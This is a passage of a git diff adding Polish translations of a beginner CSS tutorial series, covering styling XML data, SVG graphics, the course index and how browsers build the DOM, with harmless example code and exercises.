+<td style="font-style: italic; color: blue;"><strong style="color: orange;">C</strong>ascading <strong style="color: green;">S</strong>tyle <strong style="color: green;">S</strong>heets
+</td></tr>
+<tr>
+<td style="color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets
+</td></tr></tbody></table>
+<p><br>
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #ffe;">
+<caption>Wyzwanie
+</caption><tbody><tr>
+<td> Wykomentuj część arkusza stylów bez zmieniania czegokolwiek poza tym, aby pierwsza litera dokumentu była czerwona:
+<table style="border: 2px outset #36b; padding: 1em; background-color: white;">
+<tbody><tr>
+<td style="font-style: italic; color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: green;">S</strong>tyle <strong style="color: green;">S</strong>heets
+</td></tr>
+<tr>
+<td style="color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets
+</td></tr></tbody></table>
+<p>(Jest więcej niż jeden sposób, aby to zrobić.)
+</p>
+</td></tr></tbody></table>
+<p><br>
+</p>
+<h4 id="Co_dalej.3F" name="Co_dalej.3F"> Co dalej? </h4>
+<p>Twój przykładowy dokument używa kursywy oraz podkreślenia.
+Następna strona omawia kolejne sposoby na określanie wyglądu tekstu w dokumencie:
+<b><a href="pl/CSS/Na_pocz%c4%85tek/Style_tekstowe">Style tekstowe</a></b>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/CSS/Getting_Started/Readable_CSS", "fr": "fr/CSS/Premiers_pas/Des_CSS_lisibles", "it": "it/Conoscere_i_CSS/CSS_leggibili", "ja": "ja/CSS/Getting_Started/Readable_CSS", "pt": "pt/CSS/Como_come\u00e7ar/CSS_leg\u00edvel" } ) }}
diff --git a/files/pl/web/css/na_początek/dane_xml/index.html b/files/pl/web/css/na_początek/dane_xml/index.html
new file mode 100644
index 0000000000..3352d21184
--- /dev/null
+++ b/files/pl/web/css/na_początek/dane_xml/index.html
@@ -0,0 +1,191 @@
+---
+title: Dane XML
+slug: Web/CSS/Na_początek/Dane_XML
+tags:
+ - 'CSS:Na_początek'
+translation_of: Archive/Beginner_tutorials/XML_data
+---
+<p>
+</p><p>Ta strona zawiera przykład tego, jak możesz używać CSS z danymi XML.
+</p><p>Stworzysz przykładowy dokument XML oraz arkusz stylów, którego możesz użyć do wyświetlenia tego dokumentu w przeglądarce.
+</p>
+<h3 id="Informacja:_Dane_XML" name="Informacja:_Dane_XML"> Informacja: Dane XML </h3>
+<p><i><a href="pl/XML">XML</a></i> (Rozszerzalny Język Znaczników) jest językiem ogólnego przeznaczenia dla wszelkiego typu danych strukturalnych.
+</p><p>Domyślnie, Twoja przeglądarka Mozilla wyświetla XML w formacie bardzo podobnym do ułożenia danych w oryginalnym pliku XML.
+Dzięki temu możesz obejrzeć znaczniki, które określają strukturę danych.
+</p><p>Przez podpięcie arkusza stylów CSS do dokumentu XML, może określić inne sposoby wyświetlenia go.
+Aby to zrobić, Twój arkusz stylów używa reguł, które mapuje znaczniki w dokumencie XML, aby były wyświetlane w typach znanych HTML-owi.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
+<caption>Przykład
+</caption><tbody><tr>
+<td> Dane w dokumencie XML używają tagu <code>&lt;INFO&gt;</code>. Chcesz, aby wszystkie elementy <small>INFO</small> w dokumencie były wyświetlane jak HTML-owe akapity.
+<p>W arkuszu stylów dokumentu, określasz jak wyświetlane będą elementy <small>INFO</small>:
+</p>
+<div style="width: 30em;">
+<pre class="eval">INFO {
+ display: block;
+ margin: 1em 0;
+ }
+</pre>
+</div>
+</td></tr></tbody></table>
+<p>Najczęstszymi wartościami własności <code>display</code> są:
+</p>
+<table style="margin-left: 2em;">
+<tbody><tr>
+<td style="padding-right: 2em;"><code>block</code></td><td>Wyświetlane jak HTML-owy <small>DIV</small> (nagłówki, akapity itp.)
+</td></tr>
+<tr>
+<td><code>inline</code></td><td>Wyświetlany jak HTML-owy <small>SPAN</small> (dla typów tekstowych)
+</td></tr></tbody></table>
+<p>Dodaj własne reguły stylów, które określą krój, odstępy i inne szczegóły w taki sam sposób, jak dla HTML-a.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em;">
+<caption>Więcej szczegółów
+</caption><tbody><tr>
+<td> Inne wartości własności <code>display</code> pozwalają wyświetlać element jako punkt listy lub jako komponent tabeli.
+<p>Pełną listę typów wyświetlania można znaleźć w specyfikacji CSS na stronie <a class="external" href="http://www.w3.org/TR/CSS21/visuren.html#propdef-display">The display property</a>.
+</p><p>Jeśli korzystasz wyłącznie z CSS, struktura wyświetlania musi być taka sama jak struktura dokumentu.
+Inne technologie pozwalają modyfikować strukturę wyświetlania—na przykład XBL może dodawać treść, a JavaScript może modyfikować DOM.
+</p><p>Aby dowiedzieć się więcej o XML-u w Mozilli, zajrzyj na stronę <a href="pl/XML">XML</a> w tym wiki.
+</p>
+</td></tr></tbody></table>
+<h3 id="Zadanie:_Demonstracja_XML-a" name="Zadanie:_Demonstracja_XML-a"> Zadanie: Demonstracja XML-a </h3>
+<p>Stwórz nowy plik XML, <code>doc9.xml</code>.
+Skopiuj i wklej do niego poniższy kod, upewniając się, że zaznaczyłeś(aś) cały:
+</p>
+<div style="width: 48em; height: 12em; overflow: auto;"><pre>&lt;?xml version="1.0"?&gt;
+&lt;!-- XML demonstration --&gt;
+
+&lt;?xml-stylesheet type="text/css" href="style9.css"?&gt;
+
+&lt;!DOCTYPE planet&gt;
+&lt;planet&gt;
+
+&lt;ocean&gt;
+&lt;name&gt;Arctic&lt;/name&gt;
+&lt;area&gt;13,000&lt;/area&gt;
+&lt;depth&gt;1,200&lt;/depth&gt;
+&lt;/ocean&gt;
+
+&lt;ocean&gt;
+&lt;name&gt;Atlantic&lt;/name&gt;
+&lt;area&gt;87,000&lt;/area&gt;
+&lt;depth&gt;3,900&lt;/depth&gt;
+&lt;/ocean&gt;
+
+&lt;ocean&gt;
+&lt;name&gt;Pacific&lt;/name&gt;
+&lt;area&gt;180,000&lt;/area&gt;
+&lt;depth&gt;4,000&lt;/depth&gt;
+&lt;/ocean&gt;
+
+&lt;ocean&gt;
+&lt;name&gt;Indian&lt;/name&gt;
+&lt;area&gt;75,000&lt;/area&gt;
+&lt;depth&gt;3,900&lt;/depth&gt;
+&lt;/ocean&gt;
+
+&lt;ocean&gt;
+&lt;name&gt;Southern&lt;/name&gt;
+&lt;area&gt;20,000&lt;/area&gt;
+&lt;depth&gt;4,500&lt;/depth&gt;
+&lt;/ocean&gt;
+
+&lt;/planet&gt;
+</pre></div>
+<p>Stwórz nowy plik CSS, <code>style9.css</code>.
+Skopiuj i wklej do niego poniższy kod, upewniając się, że zaznaczyłeś(aś) cały:
+</p>
+<div style="width: 48em; height: 12em; overflow: auto;"><pre>/*** XML demonstration ***/
+
+planet:before {
+ display: block;
+ width: 8em;
+ font-weight: bold;
+ font-size: 200%;
+ content: "Oceans";
+ margin: -.75em 0px .25em -.25em;
+ padding: .1em .25em;
+ background-color: #cdf;
+ }
+
+planet {
+ display: block;
+ margin: 2em 1em;
+ border: 4px solid #cdf;
+ padding: 0px 1em;
+ background-color: white;
+ }
+
+ocean {
+ display: block;
+ margin-bottom: 1em;
+ }
+
+name {
+ display: block;
+ font-weight: bold;
+ font-size: 150%;
+ }
+
+area {
+ display: block;
+ }
+
+area:before {
+ content: "Area: ";
+ }
+
+area:after {
+ content: " million km\B2";
+ }
+
+depth {
+ display: block;
+ }
+
+depth:before {
+ content: "Mean depth: ";
+ }
+
+depth:after {
+ content: " m";
+ }
+</pre></div>
+<p>Otwórz dokument w swojej przeglądarce:
+</p>
+<table style="border: 2px outset #36b; padding: 1em;">
+<tbody><tr>
+<td><div style="border: 2px solid #cdf; border-bottom: none; padding: .5em 8em 1em .5em;">
+<p style="font-size: 150%; font-weight: bold; margin: -1em 0px 0px 0px; padding: .1em .25em; background-color: #cdf; width: 8em;">Oceans</p>
+<p style="font-size: 75%; margin: .25em 0px 0px 0px; line-height: 110%;"><b>Arctic</b><br>
+Area: 13,000 million km²<br>
+Mean depth: 1,200 m</p>
+<p style="font-size: 75%; margin: .5em 0px 0px 0px; line-height: 110%;"><b>Atlantic</b><br>
+Area: 87,000 million km²<br>
+Mean depth: 3,900 m</p>
+<p style="font-size: 75%; margin: .5em 0px 0px 0px; line-height: 110%;"><b>. . .</b></p>
+</div>
+</td></tr></tbody></table>
+<p><br>
+Uwagi dotyczące tej demonstracji:
+</p>
+<ul><li>Indeks górny 2 (w "miliony km²") jest znakiem Unicode, zakodowanym jako <code>\B2</code> w pliku CSS.
+</li><li> Nagłówek "Oceany" ma ujemny górny margines zewnętrzny, przesuwający go w górę, dzięki czemu jest wyświetlany nad ramką.
+</li></ul>
+<p><br>
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
+<caption>Wyzwanie
+</caption><tbody><tr>
+<td> Zmień arkusz stylów, aby wyświetlał dokument jako tabelę.
+<p>(Zajrzyj na stronę <a class="external" href="http://www.w3.org/TR/CSS21/tables.html">Tables</a> w specyfikacji CSS, aby znaleźć przykłady.)
+</p>
+</td></tr></tbody></table>
+<h4 id="Co_dalej.3F" name="Co_dalej.3F"> Co dalej? </h4>
+<p>Jeżeli masz problemy ze zrozumieniem tej strony, lub jeżeli masz jakieś komentarze na jej temat, pomóż nam dopisując się na stronie <a>Dyskusji</a>.
+</p><p>To jest ostatnia strona tego kursu.
+Więcej informacji na temat CSS w Mozilli możesz znaleźć na głównej stronie <a href="pl/CSS">CSS</a>-a na tym wiki.
+</p>{{ languages( { "en": "en/CSS/Getting_Started/XML_data", "fr": "fr/CSS/Premiers_pas/Donn\u00e9es_XML", "pt": "pt/CSS/Como_come\u00e7ar/Dados_XML", "ko": "ko/CSS/Getting_Started/XML_data" } ) }}
diff --git a/files/pl/web/css/na_początek/grafika_svg/index.html b/files/pl/web/css/na_początek/grafika_svg/index.html
new file mode 100644
index 0000000000..1581fbdcd8
--- /dev/null
+++ b/files/pl/web/css/na_początek/grafika_svg/index.html
@@ -0,0 +1,195 @@
+---
+title: Grafika SVG
+slug: Web/CSS/Na_początek/Grafika_SVG
+tags:
+ - 'CSS:Na_początek'
+translation_of: Web/SVG/Tutorial/SVG_and_CSS
+---
+<p>
+</p><p>Ta strona ilustruje specjalny język do tworzenia grafiki: SVG.
+</p><p>Stworzysz prostą demonstrację, która działa w przeglądarce Mozilli z obsługą SVG. </p>
+<h3 id="Informacja:_SVG" name="Informacja:_SVG"> Informacja: SVG </h3>
+<p><i>SVG</i> (Skalowalna Grafika Wektorowa) jest bazującym na XML-u językiem do tworzenia grafiki.
+</p><p>Może być używana do tworzenia statycznych obrazków, ale także animacji i interfejsów użytkownika.
+</p><p>Podobnie jak inne bazujące na XML-u języki, SVG obsługuje arkusze stylów CSS, dzięki czemu możesz oddzielić styl grafiki od jej zawartości.
+</p><p>Ponadto, arkusz stylów, którego używasz w innych językach znaczników dokumentu, może wskazywać adres grafiki SVG tam, gdzie potrzebny jest obrazek.
+Na przykład, arkusz stylów, którego używasz w dokumencie HTML może wskazywać na adres URL grafiki SVG jako wartość własności <code>background</code>.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em; width: 100%;">
+<caption>Więcej szczegółów
+</caption><tbody><tr>
+<td> W trakcie pisania tego kursu (połowa 2005) tylko najnowsze wydania przeglądarek Mozilli posiadają wbudowaną obsługę SVG.
+<p>Możesz dodać wsparcie dla SVG do innych wersji instalując wtyczkę taką, jak ta wydana przez <a class="external" href="http://www.adobe.com/svg/viewer/install/main.html">Adobe</a>.
+</p><p>Aby dowiedzieć się więcej o SVG w Mozilli, zajrzyj na stronę <a href="pl/SVG">SVG</a> w tym wiki.
+</p>
+</td></tr></tbody></table>
+<h3 id="Zadanie:_Demonstracja_SVG" name="Zadanie:_Demonstracja_SVG"> Zadanie: Demonstracja SVG </h3>
+<p>Stwórz nowy dokument SVG jako czysty plik tekstowy, <code>doc8.svg</code>.
+Skopiuj i wklej do niego poniższy kod, upewniając się, że zaznaczyłeś(aś) cały:
+</p>
+<div style="width: 48em; height: 12em; overflow: auto;"><pre>&lt;?xml version="1.0" standalone="no"?&gt;
+
+&lt;?xml-stylesheet type="text/css" href="style8.css"?&gt;
+
+&lt;!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
+ "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"&gt;
+
+&lt;svg width="600px" height="600px" viewBox="-300 -300 600 600"
+ xmlns="http://www.w3.org/2000/svg" version="1.1"
+ xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+
+&lt;title&gt;SVG demonstration&lt;/title&gt;
+&lt;desc&gt;Mozilla CSS Getting Started - SVG demonstration&lt;/desc&gt;
+
+&lt;defs&gt;
+ &lt;g id="segment" class="segment"&gt;
+ &lt;path class="segment-fill" d="M0,0 v-200 a40,40 0 0,0 -62,10 z"/&gt;
+ &lt;path class="segment-edge" d="M0,-200 a40,40 0 0,0 -62,10"/&gt;
+ &lt;/g&gt;
+ &lt;g id="quadrant"&gt;
+ &lt;use xlink:href="#segment"/&gt;
+ &lt;use xlink:href="#segment" transform="rotate(18)"/&gt;
+ &lt;use xlink:href="#segment" transform="rotate(36)"/&gt;
+ &lt;use xlink:href="#segment" transform="rotate(54)"/&gt;
+ &lt;use xlink:href="#segment" transform="rotate(72)"/&gt;
+ &lt;/g&gt;
+ &lt;g id="petals"&gt;
+ &lt;use xlink:href="#quadrant"/&gt;
+ &lt;use xlink:href="#quadrant" transform="rotate(90)"/&gt;
+ &lt;use xlink:href="#quadrant" transform="rotate(180)"/&gt;
+ &lt;use xlink:href="#quadrant" transform="rotate(270)"/&gt;
+ &lt;/g&gt;
+ &lt;radialGradient id="fade" cx="0" cy="0" r="200"
+ gradientUnits="userSpaceOnUse"&gt;
+ &lt;stop id="fade-stop-1" offset="33%"/&gt;
+ &lt;stop id="fade-stop-2" offset="95%"/&gt;
+ &lt;/radialGradient&gt;
+ &lt;/defs&gt;
+
+&lt;text id="heading" x="-280" y="-270"&gt;
+ SVG demonstration&lt;/text&gt;
+&lt;text id="caption" x="-280" y="-250"&gt;
+ Move your mouse pointer over the flower.&lt;/text&gt;
+
+&lt;g id="flower"&gt;
+ &lt;circle id="overlay" cx="0" cy="0" r="200"
+ stroke="none" fill="url(#fade)"/&gt;
+ &lt;use id="outer-petals" xlink:href="#petals"/&gt;
+ &lt;use id="inner-petals" xlink:href="#petals"
+ transform="rotate(9) scale(0.33)"/&gt;
+ &lt;/g&gt;
+
+&lt;/svg&gt;
+</pre></div>
+<p>Stwórz nowy plik CSS, <code>style8.css</code>.
+Skopiuj i wklej do niego poniższy kod, upewniając się, że zaznaczyłeś(aś) cały:
+</p>
+<div style="width: 48em; height: 12em; overflow: auto;"><pre>/*** SVG demonstration ***/
+
+/* page */
+svg {
+ background-color: beige;
+ }
+
+#heading {
+ font-size: 24px;
+ font-weight: bold;
+ }
+
+#caption {
+ font-size: 12px;
+ }
+
+/* flower */
+#flower:hover {
+ cursor: crosshair;
+ }
+
+/* gradient */
+#fade-stop-1 {
+ stop-color: blue;
+ }
+
+#fade-stop-2 {
+ stop-color: white;
+ }
+
+/* outer petals */
+#outer-petals {
+ opacity: .75;
+ }
+
+#outer-petals .segment-fill {
+ fill: azure;
+ stroke: lightsteelblue;
+ stroke-width: 1;
+ }
+
+#outer-petals .segment-edge {
+ fill: none;
+ stroke: deepskyblue;
+ stroke-width: 3;
+ }
+
+#outer-petals .segment:hover &gt; .segment-fill {
+ fill: plum;
+ stroke: none;
+ }
+
+#outer-petals .segment:hover &gt; .segment-edge {
+ stroke: slateblue;
+ }
+
+/* inner petals */
+#inner-petals .segment-fill {
+ fill: yellow;
+ stroke: yellowgreen;
+ stroke-width: 1;
+ }
+
+#inner-petals .segment-edge {
+ fill: none;
+ stroke: yellowgreen;
+ stroke-width: 9;
+ }
+
+#inner-petals .segment:hover &gt; .segment-fill {
+ fill: darkseagreen;
+ stroke: none;
+ }
+
+#inner-petals .segment:hover &gt; .segment-edge {
+ stroke: green;
+ }
+</pre></div>
+<p>Otwórz ten dokument w swojej przeglądarce z obsługą SVG. Przesuwaj kursor myszy nad grafiką.
+</p><p>To wiki nie obsługuję SVG na stronach, więc nie jest możliwe pokazanie demonstracji.
+Grafika wygląda mniej więcej tak:
+</p>
+<table style="border: 2px outset #36b;">
+<tbody><tr>
+<td><img alt="Demonstracja SVG">
+</td></tr></tbody></table>
+<p>Uwagi dotyczące tej demonstracji:
+</p>
+<ul><li>Dokument SVG posiada odnośniki do arkusza stylów.
+</li><li>SVG posiada własne własności i wartości CSS. Niektóre z nich są podobne do własności CSS dla HTML-a.
+</li></ul>
+<p><br>
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
+<caption>Wyzwanie
+</caption><tbody><tr>
+<td> Zmień ten arkusz stylów, aby wewnętrzne płatki zmieniały się wszystkie na różowy, kiedy wskaźnik myszy znajduje się nad jednym z nich, bez zmiany działania zewnętrznych płatków.
+</td></tr></tbody></table>
+<p><br>
+</p>
+<h4 id="Co_dalej.3F" name="Co_dalej.3F"> Co dalej? </h4>
+<p>Jeżeli masz problemy ze zrozumieniem tej strony, lub jeżeli masz jakieś komentarze na jej temat, pomóż nam dopisując się na stronie <a>Dyskusji</a>.
+</p><p>W tej demonstracji Twoja przeglądarka, obsługująca SVG, umie już wyświetlić elementy SVG.
+Arkusz stylów modyfikuje tylko sposób wyświetlania elementów.
+Tak samo dzieje się z dokumentami HTML i XUL.
+Możesz też używać CSS-a w dokumentach XML ogólnego przeznaczenia, gdzie nie istnieje domyślny sposób wyświetlania elementów.
+Następna strona omawia ten temat:
+<b><a href="pl/CSS/Na_pocz%c4%85tek/Dane_XML">Dane XML</a></b>
+</p>{{ languages( { "en": "en/CSS/Getting_Started/SVG_graphics", "fr": "fr/CSS/Premiers_pas/Graphiques_SVG", "pt": "pt/CSS/Como_come\u00e7ar/Gr\u00e1ficos_SVG" } ) }}
diff --git a/files/pl/web/css/na_początek/index.html b/files/pl/web/css/na_początek/index.html
new file mode 100644
index 0000000000..dd8cd83dcb
--- /dev/null
+++ b/files/pl/web/css/na_początek/index.html
@@ -0,0 +1,63 @@
+---
+title: Na początek
+slug: Web/CSS/Na_początek
+tags:
+ - CSS
+ - 'CSS:Na_początek'
+ - Wszystkie_kategorie
+translation_of: Learn/CSS/First_steps
+---
+<p> </p>
+<h3 id="Wprowadzenie" name="Wprowadzenie">Wprowadzenie</h3>
+<p>Ten kurs wprowadza użytkownika w świat kaskadowych arkuszy stylów (CSS).</p>
+<p>Pokaże Ci on, jak korzystać z podstawowych funkcji CSS przy użyciu praktycznych przykładów, które możesz sprawdzić na swoim komputerze. Kurs składa się z dwóch części.</p>
+<ul>
+ <li>Część I ilustruje podstawowe funkcje CSS, które działają w Mozilli oraz innych nowoczesnych przeglądarkach.</li>
+</ul>
+<ul>
+ <li>Część II zawiera przykłady specjalnych funkcji działających w Mozilli, ale niekoniecznie działających w innych środowiskach.</li>
+</ul>
+<p>Ten kurs bazuje na <a class="external" href="http://www.w3.org/TR/CSS21/">specyfikacji CSS 2.1</a>.</p>
+<h4 id="Kto_mo.C5.BCe_skorzysta.C4.87_z_tego_kursu.3F" name="Kto_mo.C5.BCe_skorzysta.C4.87_z_tego_kursu.3F">Kto może skorzystać z tego kursu?</h4>
+<p>Kurs jest przeznaczony dla początkujących, ale może być też przydatny dla osób mających już pewną wiedzę o CSS.</p>
+<p>Jeżeli jesteś początkujący, skorzystaj z pierwszej części tego kursu, by zrozumieć działanie CSS i nauczyć się go używać. Potem przeczytaj część drugą, aby zrozumieć zakres wykorzystania CSS w produktach Mozilli.</p>
+<p>Jeżeli znasz już trochę CSS, możesz pominąć części kursu, które omawiają znane Ci tematy i skupić się na tych, które są dla Ciebie nowe.</p>
+<p>Jeżeli znasz dobrze CSS, ale nie w Mozilli, przejdź do części drugiej.</p>
+<h4 id="Czego_potrzebujesz.2C_zanim_zaczniesz.3F" name="Czego_potrzebujesz.2C_zanim_zaczniesz.3F">Czego potrzebujesz, zanim zaczniesz?</h4>
+<p>Aby móc swobodnie korzystać z tego kursu, potrzebujesz edytora plików tekstowych oraz przeglądarkę Mozilla (Firefox lub Mozilla Suite) i powinieneś umieć korzystać z obu tych produktów w podstawowym zakresie.</p>
+<p>Jeżeli nie chcesz edytować plików, możesz po prostu czytać kurs i patrzeć na obrazki, ale taka metoda nauki jest znacznie mniej efektywna.</p>
+<p>Niektóre części tego kursu mogą wymagać innych aplikacji Mozilli. Części te są opcjonalne. Jeżeli nie chcesz pobierać innych aplikacji Mozilli, po prostu pomiń je.</p>
+<p><strong>Uwaga: </strong> CSS umożliwia pracę z kolorami, więc niektóre części kursu zależą od kolorów. Możesz z nich wygodnie korzystać, jeśli posiadasz kolorowy wyświetlacz i prawidłowo rozróżniasz kolory.</p>
+<h4 id="Jak_korzysta.C4.87_z_tego_kursu" name="Jak_korzysta.C4.87_z_tego_kursu">Jak korzystać z tego kursu</h4>
+<p>Aby korzystać z tego kursu, przeczytaj uważnie wszystkie strony po kolei. Jeżeli pominiesz jedną stronę, możesz mieć trudności z rozumieniem dalszych.</p>
+<p>Na każdej stronie sekcja <i>Informacja</i> opisuje, jak działa CSS. Dzięki sekcji <i>Zadanie</i> będziesz mógł wypróbować użycie CSS na swoim komputerze.</p>
+<p>Aby sprawdzić, jak dobrze rozumiesz treść, podejmij wyzwanie znajdujące się na dole każdej strony. Rozwiązania niektórych wyzwań są prezentowane na późniejszych stronach kursu.</p>
+<p>Aby lepiej zrozumieć CSS, przeczytaj informacje znajdujące się w boksach oznaczonych <i>Więcej szczegółów</i>. Użyj znajdujących się tam odnośników, aby dowiedzieć się więcej ze specyfikacji CSS.</p>
+<h3 id="Kurs_.E2.80.93_cz.C4.99.C5.9B.C4.87_pierwsza" name="Kurs_.E2.80.93_cz.C4.99.C5.9B.C4.87_pierwsza">Kurs – część pierwsza</h3>
+<p>Podstawowy kurs CSS, krok po kroku.</p>
+<ol>
+ <li><b><a href="/pl/docs/CSS/Na_pocz%c4%85tek/Czym_jest_CSS">Czym jest CSS</a></b></li>
+ <li><b><a href="/pl/docs/CSS/Na_pocz%c4%85tek/Po_co_u%c5%bcywa%c4%87_CSS">Po co używać CSS</a></b></li>
+ <li><b><a href="/pl/docs/CSS/Na_pocz%c4%85tek/Jak_dzia%c5%82a_CSS">Jak działa CSS</a></b></li>
+ <li><b><a href="/pl/docs/CSS/Na_pocz%c4%85tek/Kaskadowo%c5%9b%c4%87_i_dziedziczenie">Kaskadowość i dziedziczenie</a></b></li>
+ <li><b><a href="/pl/docs/CSS/Na_pocz%c4%85tek/Selektory">Selektory</a></b></li>
+ <li><b><a href="/pl/docs/CSS/Na_pocz%c4%85tek/Czytelny_CSS">Czytelny CSS</a></b></li>
+ <li><b><a href="/pl/docs/CSS/Na_pocz%c4%85tek/Style_tekstowe">Style tekstowe</a></b></li>
+ <li><b><a href="/pl/docs/CSS/Na_pocz%c4%85tek/Kolor">Kolor</a></b></li>
+ <li><b><a href="/pl/docs/CSS/Na_pocz%c4%85tek/Tre%c5%9b%c4%87">Treść</a></b></li>
+ <li><b><a href="/pl/docs/CSS/Na_pocz%c4%85tek/Listy">Listy</a></b></li>
+ <li><b><a href="/pl/docs/CSS/Na_pocz%c4%85tek/Bloki">Bloki</a></b></li>
+ <li><b><a href="/pl/docs/CSS/Na_pocz%c4%85tek/Uk%c5%82ad">Układ</a></b></li>
+ <li><b><a href="/pl/docs/CSS/Na_pocz%c4%85tek/Tabele">Tabele</a></b></li>
+ <li><b><a href="/pl/docs/CSS/Na_pocz%c4%85tek/Media">Media</a></b></li>
+</ol>
+<h3 id="Kurs_.E2.80.93_cz.C4.99.C5.9B.C4.87_druga" name="Kurs_.E2.80.93_cz.C4.99.C5.9B.C4.87_druga">Kurs – część druga</h3>
+<p>Przykłady wykorzystania CSS w Mozilli.</p>
+<ol>
+ <li><b><a href="/pl/docs/CSS/Na_pocz%c4%85tek/JavaScript">JavaScript</a></b></li>
+ <li><b><a href="/pl/docs/CSS/Na_pocz%c4%85tek/Wi%c4%85zania_XBL">Wiązania XBL</a></b></li>
+ <li><b><a href="/pl/docs/CSS/Na_pocz%c4%85tek/XUL-owe_interfejsy_u%c5%bcytkownika">XUL-owe interfejsy użytkownika</a></b></li>
+ <li><b><a href="/pl/docs/CSS/Na_pocz%c4%85tek/Grafika_SVG">Grafika SVG</a></b></li>
+ <li><b><a href="/pl/docs/CSS/Na_pocz%c4%85tek/Dane_XML">Dane XML</a></b></li>
+</ol>
+<p>{{ languages( { "en": "en/CSS/Getting_Started", "fr": "fr/CSS/Premiers_pas", "it": "it/Conoscere_i_CSS", "ja": "ja/CSS/Getting_Started", "nl": "nl/CSS/Voor_Beginners", "zh-cn": "cn/CSS/\u5f00\u59cb", "pt": "pt/CSS/Como_come\u00e7ar" } ) }}</p>
diff --git a/files/pl/web/css/na_początek/jak_działa_css/index.html b/files/pl/web/css/na_początek/jak_działa_css/index.html
new file mode 100644
index 0000000000..f660589f31
--- /dev/null
+++ b/files/pl/web/css/na_początek/jak_działa_css/index.html
@@ -0,0 +1,113 @@
+---
+title: Jak działa CSS
+slug: Web/CSS/Na_początek/Jak_działa_CSS
+tags:
+ - 'CSS:Na_początek'
+translation_of: Learn/CSS/First_steps/How_CSS_works
+---
+<p>
+</p><p>Ta strona wyjaśnia, jak działa CSS w przeglądarce.
+Przeanalizujesz przykładowy dokument, poznając szczegóły jego stylów.
+</p>
+<h3 id="Informacja:_Jak_dzia.C5.82a_CSS" name="Informacja:_Jak_dzia.C5.82a_CSS"> Informacja: Jak działa CSS </h3>
+<p>Kiedy Mozilla wyświetla dokument, musi połączyć treść dokumentu z jego informacjami o stylu. Tak więc dzieli ona proces na dwa etapy:
+</p>
+<ul><li> W pierwszym Mozilla zmienia język znaczników oraz CSS w <i>DOM</i> (Model Obiektowy Dokumentu). DOM jest reprezentacją dokumentu w pamięci komputera. Wiąże on treść dokumentu z jego stylem.
+</li></ul>
+<ul><li> W drugim etapie Mozilla wyświetla ten DOM.
+</li></ul>
+<p>Język znaczników używa znaczników do opisywania struktury dokumentu. Znacznik może być kontenerem, zawierającym inne znaczniki.
+</p><p>DOM posiada strukturę drzewiastą. Każdy znacznik i fragment tekstowy w języku znaczników staje się <i>węzłem</i> w strukturze drzewiastej. Węzły DOM nie są kontenerami. W zamian za to mogą posiadać węzły rodziców i dzieci.
+</p><p>Węzły, które odpowiadają znacznikom, znane są także jako <i>elementy</i>.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
+<caption>Przykład
+</caption><tbody><tr>
+<td> W Twoim przykładowym dokumencie znacznik <code>&lt;P&gt;</code> i jego znacznik <code>&lt;/P&gt;</code> tworzą kontener:
+<div style="width: 24em;">
+<pre class="eval">&lt;P&gt;
+ &lt;STRONG&gt;C&lt;/STRONG&gt;ascading
+ &lt;STRONG&gt;S&lt;/STRONG&gt;tyle
+ &lt;STRONG&gt;S&lt;/STRONG&gt;heets
+&lt;/P&gt;
+</pre>
+</div>
+<p>W DOM odpowiadający węzeł P jest rodzicem.
+Jego dzieci to węzły <small>STRONG</small> oraz węzły tekstowe.
+Węzły <small>STRONG</small> same są rodzicami posiadającymi węzły tekstowe jako swoje dzieci:
+</p>
+<div style="width: 24em; color: #47c; white-space: pre; padding: 0 0 0 2em;">
+<p><span style="color: black;">P</span>
+├─<span style="color: black;">STRONG</span>
+│ │
+│ └─"<span style="color: black;">C</span>"
+│
+├─"<span style="color: black;">ascading</span>"
+│
+├─<span style="color: black;">STRONG</span>
+│ │
+│ └─"<span style="color: black;">S</span>"
+│
+├─"<span style="color: black;">tyle</span>"
+│
+├─<span style="color: black;">STRONG</span>
+│ │
+│ └─"<span style="color: black;">S</span>"
+│
+└─"<span style="color: black;">heets</span>"
+</p>
+</div>
+</td></tr></tbody></table>
+<p>Zrozumienie DOM pomaga w tworzeniu, debugowaniu i zarządzaniu CSS, ponieważ DOM jest punktem, w którym łączona jest treść dokumentu ze stylami CSS.
+</p>
+<h3 id="Zadanie:_Analiza_DOM" name="Zadanie:_Analiza_DOM"> Zadanie: Analiza DOM </h3>
+<p>Do analizy DOM potrzebny jest specjalny program.
+Służy do tego na przykład <a href="pl/Inspektor_DOM">Inspektor DOM</a> Mozilli.
+</p><p>Użyj przeglądarki Mozilla do otworzenia przykładowego dokumentu.
+</p><p>Z paska menu przeglądarki wybierz Narzędzia – Inspektor DOM lub Narzędzia – Programowanie WWW – Inspektor DOM.
+</p>
+<table style="border: 1px solid #36b; background-color: #f4f4f4; padding: 1em;">
+<caption>Więcej szczegółów
+</caption><tbody><tr>
+<td> Jeżeli Twoja przeglądarka Mozilli nie posiada Inspektora DOM, możesz zainstalować przeglądarkę ponownie, zaznaczając przy instalacji komponent narzędzi programistycznych. Potem wróć do tego kursu.
+<p><small><b>DevmoPL</b>: Możesz też zainstalować DOMi jako rozszerzenie</small>
+</p><p>Jeżeli nie chcesz instalować Inspektora DOM, możesz pominąć ten rozdział i przejść do następnej strony. Pominięcie tej sekcji nie wpłynie na resztę kursu.
+</p>
+</td></tr></tbody></table>
+<p>W Inspektorze DOM rozwiń węzły dokumentu, klikając na strzałki.
+</p><p><b>Notka: </b> Formatowanie spacjami dokumentu HTML spowoduje, że pojawią się puste węzły, które możesz zignorować.
+</p><p>Część wyniku może wyglądać tak:
+</p>
